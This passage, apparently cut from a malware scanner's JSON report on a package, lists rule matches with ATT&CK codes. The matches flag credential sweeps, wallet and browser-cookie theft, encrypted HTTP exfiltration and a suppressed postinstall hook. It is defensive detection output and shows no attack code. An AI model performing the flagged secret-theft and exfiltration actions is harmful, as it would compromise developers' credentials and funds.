            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-child-process-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves child process module",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese--atom-3",
            "conf": 0.8,
            "crit": 1,
            "desc": "Portuguese function-word token \"você\"",
            "from": [
              {
                "file": 78
              }
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/env::python-bulk-secret-env-harvest",
            "atk": "T1552.001",
            "mbc": "E1552",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python iterates env entries for secret names",
            "from": [
              {
                "off": 32265,
                "file": 12,
                "line": 895
              }
            ],
            "uses": [
              101,
              492
            ]
          },
          {
            "id": "micro-behaviors/data/buffer::stream-write-buffer-arg",
            "conf": 0.9,
            "crit": 3,
            "desc": "Writes a buffer argument to a stream",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "metadata/build/ci/step::actions-upload-artifact",
            "conf": 0.9,
            "crit": 3,
            "desc": "GitHub Actions uploads a workflow artifact"
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-13",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Terraform or ECDSA/Ed25519 SSH-key path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn::windowshide-option",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js windowsHide spawn option",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/url/construction/template::url-dollar-placeholder",
            "conf": 0.94,
            "crit": 3,
            "desc": "URL embeds a ${ } template placeholder",
            "from": [
              {
                "file": 165
              }
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::npm-runner-recon-http",
            "atk": "T1041",
            "conf": 0.95,
            "crit": 5,
            "desc": "npm package exfiltrates CI/CD tokens via HTTP",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              141,
              361
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-command-variable-call",
            "conf": 0.9,
            "crit": 1,
            "desc": "Calls exec with a command-named variable",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::tests-path-basename",
            "conf": 1.0,
            "crit": 1,
            "desc": "Tests path basename",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::node-sensitive-file-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node reads a sensitive config path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::role-line-marker",
            "conf": 0.72,
            "crit": 1,
            "desc": "Quoted LLM role label",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/provider::pbkdf2-call",
            "conf": 0.72,
            "crit": 3,
            "desc": "JavaScript PBKDF2 API call",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::node-scan-skips-dotdirs",
            "conf": 0.8,
            "crit": 3,
            "desc": "Dirent walk skips dot entries",
            "from": [
              {
                "file": 20
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-wallet-store-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs a crypto wallet path",
            "from": [
              {
                "file": 3
              },
              {
                "off": 8211,
                "file": 12,
                "line": 232
              }
            ],
            "uses": [
              118
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Kubernetes config path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/manifest/repository::repo-url-git-host",
            "conf": 0.9,
            "crit": 3,
            "desc": "Repository identifies major Git host"
          },
          {
            "id": "objectives/credential-access/browser/chromium::browser-creds-table-sql",
            "atk": "T1555.003",
            "conf": 0.9,
            "crit": 3,
            "desc": "SQL query against a browser credential table",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-create-table",
            "conf": 0.5,
            "crit": 3,
            "desc": "SQL CREATE TABLE syntax reference",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-32-byte-value",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node.js 32-byte random value",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::node-stdio-pipe",
            "conf": 0.92,
            "crit": 3,
            "desc": "Pipes a Node standard stream",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "metadata/build/ci/step::npm-registry-url",
            "conf": 0.92,
            "crit": 3,
            "desc": "setup-node npm registry URL"
          },
          {
            "id": "micro-behaviors/data/archive/extract/tar::js-tar-extract-command",
            "atk": "T1140",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript command extracts an archive with tar",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-test-script",
            "conf": 1.0,
            "crit": 1,
            "desc": "package.json declares a test script"
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "SSH credential file paths",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              304
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-sweep",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.98,
            "crit": 5,
            "desc": "Sweeps developer and cloud credentials",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32957,
                "file": 12,
                "line": 901
              }
            ],
            "uses": [
              31,
              33,
              181,
              266,
              299
            ]
          },
          {
            "id": "metadata/package/scripts/develop::pkg-start-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "\"start\": script in package.json"
          },
          {
            "id": "micro-behaviors/communications/http/headers::authorization-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Defines an HTTP Authorization header mapping",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-actions",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads GITHUB_ACTIONS CI variable",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::node-os-alias-hostname-call",
            "atk": "T1082",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias hostname query",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/package/documentation::security-markdown-basename",
            "conf": 0.94,
            "crit": 3,
            "desc": "Security documentation markdown file",
            "from": [
              {
                "file": 152
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/kdf/algorithm::chrome-compatible-kdf-salt",
            "conf": 0.9,
            "crit": 3,
            "desc": "Chrome-compatible key-derivation salt literal",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/build/ci/secret::step-token-input-secret-reference",
            "conf": 0.95,
            "crit": 3,
            "desc": "Step token input references an Actions secret"
          },
          {
            "id": "micro-behaviors/communications/http/download/write::script-fetches-and-writes-remote-content",
            "atk": "T1105",
            "conf": 0.94,
            "crit": 3,
            "desc": "Script saves fetched remote content to disk",
            "from": [
              {
                "file": 32
              }
            ],
            "uses": [
              1,
              134,
              436,
              501
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::python-request-data-argument",
            "conf": 0.84,
            "crit": 3,
            "desc": "Python Request call passes a body argument"
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-word",
            "conf": 0.75,
            "crit": 3,
            "desc": "References Python urllib HTTP client"
          },
          {
            "id": "micro-behaviors/process/terminate/command::taskkill-token",
            "conf": 0.72,
            "crit": 3,
            "desc": "taskkill command token",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "from": [
              {
                "file": 1
              }
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::node-stream-to-stdin-pipe",
            "conf": 0.9,
            "crit": 3,
            "desc": "Pipes a Node stream into child stdin",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "metadata/file/catalog/service::ai-vault-service-names",
            "conf": 0.82,
            "crit": 1,
            "desc": "AI and vault service names",
            "from": [
              {
                "off": 1180,
                "file": 13,
                "line": 35
              },
              {
                "off": 9666,
                "file": 46,
                "line": 304
              }
            ],
            "uses": [
              125
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::node-os-alias-homedir-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node os-alias home directory query",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/encoded::base64-decoded-http-url",
            "conf": 0.9,
            "crit": 3,
            "desc": "HTTP URL recovered from Base64 content",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/access::python-environ-items-loop",
            "conf": 0.88,
            "crit": 3,
            "desc": "Iterates over Python environment entries"
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-environ-targeting",
            "conf": 0.82,
            "crit": 3,
            "desc": "Read process environment via proc",
            "from": [
              {
                "file": 3
              },
              {
                "off": 14170,
                "file": 12,
                "line": 394
              }
            ],
            "uses": [
              439
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::user-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like user identity field",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/url/construction/template::url-double-brace-placeholder",
            "conf": 0.94,
            "crit": 3,
            "desc": "URL embeds a {{ }} template placeholder",
            "from": [
              {
                "file": 142
              }
            ]
          },
          {
            "id": "metadata/file/catalog/service::service-name-github",
            "conf": 0.6,
            "crit": 1,
            "desc": "GitHub service name",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::js-fetch-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.8,
            "crit": 3,
            "desc": "Calls JavaScript fetch API"
          },
          {
            "id": "objectives/credential-access/browser/chromium::chrome-cookie-decryption-chain-macos",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 3,
            "desc": "macOS Chrome cookie decryption chain",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              89,
              433
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/chdir::shell-change-directory",
            "conf": 0.95,
            "crit": 3,
            "desc": "Shell changes working directory",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "metadata/file/extension/identity::shell-a",
            "conf": 1.0,
            "crit": 2,
            "desc": "POSIX shell script extension",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol",
            "conf": 0.6,
            "crit": 1,
            "desc": "References HTTPS service port 443",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/provider::asymmetric-public-encrypt",
            "conf": 0.75,
            "crit": 3,
            "desc": "Node public key encryption",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-own-source",
            "conf": 0.92,
            "crit": 3,
            "desc": "Reads its own source file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/dynamic::node-selected-transport-request",
            "conf": 0.82,
            "crit": 3,
            "desc": "Node calls selected HTTP transport",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::node-create-restricted-mode",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node creates a path with restricted mode",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::keys",
            "atk": "T1552.004",
            "mbc": "T1552.004",
            "conf": 0.8,
            "crit": 1,
            "desc": "SSH keys directory path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::wallet-files",
            "atk": "T1555",
            "mbc": "B0024",
            "conf": 0.9,
            "crit": 3,
            "desc": "References cryptocurrency wallet files",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              28
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::mocha-describe-call",
            "conf": 0.6,
            "crit": 2,
            "desc": "Mocha describe() call",
            "from": [
              {
                "file": 29
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-ethereum-keystore-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs Ethereum keystore path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credential-filenames::auth-json-join-argument",
            "conf": 0.9,
            "crit": 3,
            "desc": "Auth JSON path construction",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/modify::chmod-command",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.6,
            "crit": 3,
            "desc": "chmod shell command",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese--atom-7",
            "conf": 0.8,
            "crit": 1,
            "desc": "Portuguese function-word token \"ações\"",
            "from": [
              {
                "file": 78
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::pem-file-extension-reference",
            "atk": "T1552.004",
            "conf": 0.75,
            "crit": 3,
            "desc": "References a PEM certificate or key file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import",
            "conf": 0.82,
            "crit": 3,
            "desc": "Imports Python urllib.request through direct or from-import syntax",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              476
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-hybrid-encrypted-exfil",
            "atk": "T1573.002",
            "conf": 0.97,
            "crit": 5,
            "desc": "Node hybrid encrypted HTTP exfiltration",
            "from": [
              {
                "file": 3
              },
              {
                "off": 15859,
                "file": 12,
                "line": 447
              },
              {
                "file": 32
              }
            ],
            "uses": [
              77,
              148,
              327,
              353
            ]
          },
          {
            "id": "metadata/file/catalog/service::service-name-openai",
            "conf": 0.82,
            "crit": 1,
            "desc": "OpenAI service name",
            "from": [
              {
                "file": 13
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-cluster-import",
            "conf": 1.0,
            "crit": 1,
            "desc": "Imports Node.js cluster module",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-leading-promise-chain-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Leading promise-chain call at module scope",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::application-json",
            "conf": 0.65,
            "crit": 3,
            "desc": "References the application/json media type",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/data/encode/url::encode-uri-component-call",
            "conf": 0.7,
            "crit": 3,
            "desc": "URL-encodes data via encodeURIComponent",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/cloud-access::node-cloud",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Accesses cloud provider credentials",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              507
            ]
          },
          {
            "id": "micro-behaviors/os/container/image::docker-config-json",
            "conf": 0.9,
            "crit": 3,
            "desc": "Docker config file reference",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::postinstall-node-script-suppressed",
            "atk": "T1195.002",
            "conf": 0.96,
            "crit": 3,
            "desc": "postinstall runs suppressed Node script"
          },
          {
            "id": "micro-behaviors/data/llm::prohibitive-never-without-approval",
            "conf": 0.9,
            "crit": 3,
            "desc": "Never act without user approval guideline",
            "from": [
              {
                "file": 107
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::request-end-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.72,
            "crit": 1,
            "desc": "Ends a request-like object with .end()",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::node-readdir-sync-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Node.js synchronous directory enumeration",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/error-handling::catch-returns-constant-only",
            "conf": 0.88,
            "crit": 3,
            "desc": "Catch block only returns a constant",
            "from": [
              {
                "file": 7
              }
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/npm::npm-script-interpreter",
            "atk": "T1059",
            "mbc": "B0030",
            "conf": 0.85,
            "crit": 3,
            "desc": "Package script invokes a language interpreter"
          },
          {
            "id": "metadata/lang/scripted::require-symbol",
            "conf": 1.0,
            "crit": 1,
            "desc": "CommonJS require symbol",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "well-known/tool/detection/security-scanner::defensive-dangerous-command-doc",
            "conf": 0.92,
            "crit": 1,
            "desc": "Defensive dangerous command documentation",
            "from": [
              {
                "file": 106
              }
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-upload-sink",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node HTTP upload sink",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              464
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-require-destructure-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Destructures Node exec from require",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/bulk-access::node-config",
            "atk": "T1552.001",
            "conf": 0.7,
            "crit": 3,
            "desc": "Accessing sensitive configuration files",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32609,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              73
            ]
          },
          {
            "id": "well-known/tool/development/ide-contexts::embedded-python-pip-install",
            "conf": 0.94,
            "crit": 3,
            "desc": "Embedded Python pip install bootstrap",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-path",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like file path",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              30
            ]
          },
          {
            "id": "metadata/import/builtin::runtime-api-import-set",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports at least three Node.js runtime APIs",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              255,
              262,
              430,
              446
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::npmrc-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "NPM registry credentials file path literal"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client-usage",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses HTTP client APIs",
            "from": [
              {
                "file": 12
              },
              {
                "off": 3073,
                "file": 32,
                "line": 89
              }
            ],
            "uses": [
              106,
              480
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::test-filename-pattern",
            "conf": 0.6,
            "crit": 2,
            "desc": "Common test filename pattern",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-win32-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on Windows platform value",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-system-module-import-set",
            "conf": 0.88,
            "crit": 3,
            "desc": "Imports at least two Node system modules",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              255,
              262,
              430,
              446
            ]
          },
          {
            "id": "metadata/build/package/recipe::python-install-hook",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python package custom lifecycle hook",
            "from": [
              {
                "off": 36373,
                "file": 12,
                "line": 1000
              }
            ],
            "uses": [
              376,
              451
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen",
            "conf": 0.7,
            "crit": 3,
            "desc": "Calls urllib.request.urlopen"
          },
          {
            "id": "micro-behaviors/crypto/asymmetric/key::armored-named-private-key-header",
            "conf": 0.95,
            "crit": 3,
            "desc": "References named armored private-key header",
            "from": [
              {
                "file": 13
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::local-script-path",
            "conf": 0.7,
            "crit": 2,
            "desc": "Local script path reference",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses common HTTP client APIs",
            "from": [
              {
                "file": 12
              },
              {
                "off": 3073,
                "file": 32,
                "line": 89
              }
            ],
            "uses": [
              93,
              106
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-rmSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Delete file or directory sync",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-dynamic-command",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.92,
            "crit": 3,
            "desc": "execSync receives a variable command",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/library::node-crypto-create-cipher",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node.js crypto.createCipheriv usage",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-password-marker",
            "conf": 0.92,
            "crit": 1,
            "desc": "Password marker string literal"
          },
          {
            "id": "supply-chain/install-hook/postinstall",
            "conf": 0.8,
            "crit": 3,
            "desc": "Package has 'postinstall' hook that runs during install"
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-text-call",
            "mbc": "C0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node.js HMAC call in source text",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese",
            "conf": 0.8,
            "crit": 3,
            "desc": "Contains probable Portuguese text",
            "from": [
              {
                "off": 4247,
                "file": 78,
                "line": 117
              }
            ],
            "uses": [
              58,
              121,
              248,
              277,
              416
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "from": [
              {
                "file": 1
              }
            ]
          },
          {
            "id": "micro-behaviors/time/schedule/delay::settimeout-callback-long-delay",
            "conf": 0.85,
            "crit": 3,
            "desc": "setTimeout defers callback ten or more seconds",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/config/web::mysql-config-path",
            "conf": 0.8,
            "crit": 3,
            "desc": "MySQL/MariaDB server config path (my.cnf)"
          },
          {
            "id": "micro-behaviors/os/package-manager/config::npmrc-user-config-path",
            "conf": 0.9,
            "crit": 3,
            "desc": "npm user configuration file path"
          },
          {
            "id": "micro-behaviors/fs/path/reference::source-directory-literal",
            "conf": 0.85,
            "crit": 2,
            "desc": "References a source directory path",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/data/encode/base64::base64-encoding",
            "conf": 0.95,
            "crit": 3,
            "desc": "Base64 encoding capability",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              52
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference",
            "mbc": "C0029",
            "conf": 0.9,
            "crit": 3,
            "desc": "References an HMAC API",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::phantom",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "Standalone Phantom extension ID",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/shell-ops::cp-command",
            "conf": 0.9,
            "crit": 3,
            "desc": "Shell text contains a cp file-copy command",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/ui/window/form-input::window-prompt-string-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls prompt() with a string",
            "from": [
              {
                "file": 16
              }
            ]
          },
          {
            "id": "metadata/build/ci/permission::job-contents-write-permission",
            "conf": 0.92,
            "crit": 3,
            "desc": "Job grants contents write permission"
          },
          {
            "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-7",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Shell history file path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::generic-sensitive-credential-path",
            "atk": "T1552.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "References a sensitive credential or environment file path",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32542,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              115,
              147,
              247
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc-dash",
            "mbc": "C0027",
            "conf": 0.75,
            "crit": 3,
            "desc": "AES-256-CBC with dashes",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-or-declaration-file",
            "conf": 0.85,
            "crit": 1,
            "desc": "File is a test or type-declaration source file",
            "from": [
              {
                "file": 8
              },
              {
                "file": 28
              },
              {
                "file": 29
              },
              {
                "file": 34
              },
              {
                "file": 37
              },
              {
                "file": 40
              },
              {
                "file": 41
              },
              {
                "file": 46
              }
            ],
            "uses": [
              348,
              429,
              485
            ]
          },
          {
            "id": "metadata/package/files/included::npm-package-scripts-member",
            "conf": 0.99,
            "crit": 3,
            "desc": "JavaScript under npm package scripts dir",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/library/github-actions::action-output-env-file",
            "conf": 0.95,
            "crit": 3,
            "desc": "GitHub Actions output file environment access",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "objectives/credential-access/files/config::source-control-token-paths",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Source control credential paths"
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--gitlab",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (GITLAB_CI)",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::file-open-content",
            "atk": "T1005",
            "mbc": "E1005",
            "conf": 0.86,
            "crit": 2,
            "desc": "Opens file in default read mode"
          },
          {
            "id": "objectives/exfiltration/stealer/credential/dev-file::multi-developer-secret-source",
            "atk": "T1552.001,T1041",
            "mbc": "E1552",
            "conf": 0.96,
            "crit": 3,
            "desc": "References three or more developer credential source groups",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              181,
              194,
              343
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/decrypt::js-decrypt-helper-call",
            "mbc": "C0027",
            "conf": 0.94,
            "crit": 3,
            "desc": "JavaScript decrypt helper function call",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/build/ci/permission::id-token-write-permission",
            "conf": 0.9,
            "crit": 3,
            "desc": "GitHub Actions OIDC write permission",
            "from": [
              {
                "file": 178
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::agent-identity-claude",
            "conf": 0.8,
            "crit": 1,
            "desc": "Claude agent identity reference",
            "from": [
              {
                "file": 76
              }
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::js-stdin-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "Reads Node process stdin",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/spawn::spawn-call",
            "atk": "T1106",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls imported Node child_process spawn",
            "from": [
              {
                "file": 5
              }
            ],
            "uses": [
              368,
              446
            ]
          },
          {
            "id": "micro-behaviors/data/buffer::javascript-write-then-end-stream",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript writes then ends a stream",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::browser-wallet-extensions",
            "conf": 1.0,
            "crit": 4,
            "desc": "Multiple browser wallet extension IDs",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              171,
              334
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::https-request",
